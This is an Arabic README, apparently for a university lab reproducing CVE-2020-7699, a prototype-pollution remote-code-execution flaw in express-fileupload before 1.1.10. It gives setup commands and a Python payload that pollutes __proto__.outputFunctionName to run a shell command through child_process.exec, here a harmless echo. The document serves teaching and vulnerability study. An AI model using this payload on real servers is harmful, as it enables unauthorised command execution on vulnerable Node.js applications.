
إعادة إنتاج CVE-2020-7699، واجب رئيسي لمقرر مبادئ أمن البرمجيات
إعادة إنتاج لثغرة تنفيذ الأوامر عن بُعد (RCE) في Node.js (CVE-2020-7699)، من أعمالي المخبرية
إصدار Node.js: v14.16.1، يرجى التأكد من أن إصدار Node.js هو 14 (الإصدارات الأخرى قد تعمل على الأرجح، لم أختبرها)
إصدار Python: 3.9.5، يُستخدم Python فقط لإرسال طلب الهجوم عبر HTTP، ولا يُشترط إصدار محدد
فقط clone المستودع، ثم npm i لتثبيت التبعيات. لقد وفرت أمرين إضافيين:
npm run start-server لبدء تشغيل الخادم المستهدف (خادم الضحية)npm run launch-attack لشنّ الهجومexpress-fileUpload: الإصدارات الأقل من 1.1.10 ستكون متأثرة
الثغرة: تلويث النموذج الأولي في express-fileUpload
كيفية استغلالها: تلويث __proto__.outputFunctionName لكتابة الأمر الذي سيتم تنفيذه. مثال: echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
الثغرة: سيحاول ejs تنفيذ xxx.outputFunctionName وهي undefined، لكن إذا تم تلويث object.outputFunctionName، فسينفّذها بدلاً من ذلك